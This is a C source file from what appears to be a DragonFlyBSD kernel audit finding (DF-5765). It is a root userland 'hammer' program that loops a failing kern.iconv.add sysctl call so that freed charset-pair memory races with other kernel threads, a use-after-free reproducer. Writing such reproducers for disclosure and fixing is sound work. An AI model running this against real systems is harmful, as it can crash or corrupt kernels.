⬢ DragonFlyBSD Kernel Audit
DF-5765 / hammer.c
← back to finding ↓ download raw
/*
 * hammer.c -- userland (root) driver for the production kern.iconv.add
 * sysctl error path (finding DF-5765).
 *
 * Each iteration writes a struct iconv_add_in to kern.iconv.add with
 *   ia_converter = "xlat", ia_to = "zz9to", ia_from = "zz9from",
 *   ia_datalen   = 256 (full-size table, so any incidental use is
 *                     in-bounds and the ONLY defect exercised is the
 *                     lifetime race, not DF-2247's short-table issue),
 *   ia_data      = 0x1000 (page 0: unmapped and unmappable).
 *
 * Production iconv_sysctl_add() (iconv.c:397) registers the charset
 * pair, kmallocs the 256-byte table, then copyin(0x1000) fails EFAULT
 * -> "goto bad" -> iconv_unregister_cspair() (iconv.c:440) which
 * TAILQ_REMOVEs and kfrees BOTH the cspair and its table with NO
 * refcount check.  Looping this creates the register/free churn that
 * the kernel racer threads (iconv_open/iconv_convstr/iconv_close)
 * collide with.
 *
 * modes:
 *   hammer <iters>           run the add-error loop
 *   hammer -l                dump kern.iconv.cslist (parsed) + drvlist
 */

#include <sys/types.h>
#include <sys/iconv.h>
#include <sys/sysctl.h>

#include <errno.h>
#include <err.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

#define	XR_TO	"zz9to"
#define	XR_FROM	"zz9from"

static void
dump_lists(void)
{
	struct iconv_cspair_info csi;
	size_t len;
	char buf[4096];
	int bad = 0, n = 0;

	/* converters list (names, NUL separated) */
	len = sizeof(buf);
	if (sysctlbyname("kern.iconv.drvlist", buf, &len, NULL, 0) == 0) {
		char *p = buf;
		printf("drvlist:");
		while (p < buf + len && *p) {
			printf(" %s", p);
			p += strlen(p) + 1;
		}
		printf("\n");
	} else
		printf("drvlist: %s\n", strerror(errno));

	/* charset pairs: struct iconv_cspair_info stream */
	len = 0;
	if (sysctlbyname("kern.iconv.cslist", NULL, &len, NULL, 0) != 0)
		err(1, "cslist probe len");
	if (len == 0 || len % sizeof(csi) != 0) {
		printf("cslist: %zu bytes (not a csi multiple?)\n", len);
		if (len == 0)
			return;
		len = sizeof(buf);
		if (sysctlbyname("kern.iconv.cslist", buf, &len, NULL, 0) != 0)
			err(1, "cslist read");
		/* hexdump first 3 csi-sized chunks */
		{
			unsigned i;
			for (i = 0; i < 96; i++)
				printf("%02x", (unsigned char)buf[i]);
			printf("...\n");
		}
		return;
	}
	char *tmp = malloc(len);
	if (tmp == NULL)
		err(1, "malloc");
	if (sysctlbyname("kern.iconv.cslist", tmp, &len, NULL, 0) != 0)
		err(1, "cslist read");
	size_t i;
	for (i = 0; i + sizeof(csi) <= len; i += sizeof(csi)) {
		memcpy(&csi, tmp + i, sizeof(csi));
		printf("cslist[%d]: id=%d base=%d refcount=%d %s <- %s\n",
		    n++, csi.cs_id, csi.cs_base, csi.cs_refcount,
		    csi.cs_to, csi.cs_from);
		if (csi.cs_refcount != 0)
			bad = 1;
	}
	free(tmp);
	printf("cslist: %d pairs, %s\n", n,
	    bad ? "ANOMALY: nonzero refcount with no holders!" : "all refcounts 0");
}

int
main(int argc, char **argv)
{
	struct iconv_add_in in;
	struct iconv_add_out out;
	size_t outlen;
	long i, iters;
	int rc;

	if (argc == 2 && strcmp(argv[1], "-l") == 0) {
		dump_lists();
		return (0);
	}
	if (argc != 2)
		errx(1, "usage: %s <iters> | -l", argv[0]);
	iters = strtol(argv[1], NULL, 0);
	if (iters <= 0)
		errx(1, "bad iters");

	memset(&in, 0, sizeof(in));
	in.ia_version = ICONV_ADD_VER;
	strlcpy(in.ia_converter, "xlat", sizeof(in.ia_converter));
	strlcpy(in.ia_to, XR_TO, sizeof(in.ia_to));
	strlcpy(in.ia_from, XR_FROM, sizeof(in.ia_from));
	in.ia_datalen = 256;		/* full-size table */
	in.ia_data = (const void *)0x1000;	/* unmapped: copyin EFAULT */

	for (i = 0; i < iters; i++) {
		outlen = sizeof(out);
		rc = sysctlbyname("kern.iconv.add", &out, &outlen,
		    &in, sizeof(in));
		if (rc != -1 || (errno != EFAULT && errno != EEXIST)) {
			/* EFAULT is the expected copyin failure; EEXIST
			 * can happen if a racing register sneaked in. */
			warnx("iter %ld: unexpected sysctl result rc=%d "
			    "errno=%d", i, rc, errno);
		}
		if ((i % 1000000) == 0 && i)
			fprintf(stderr, "hammer: %ld iterations\n", i);
	}
	printf("hammer: %ld register/free error-path iterations done\n", iters);
	return (0);
}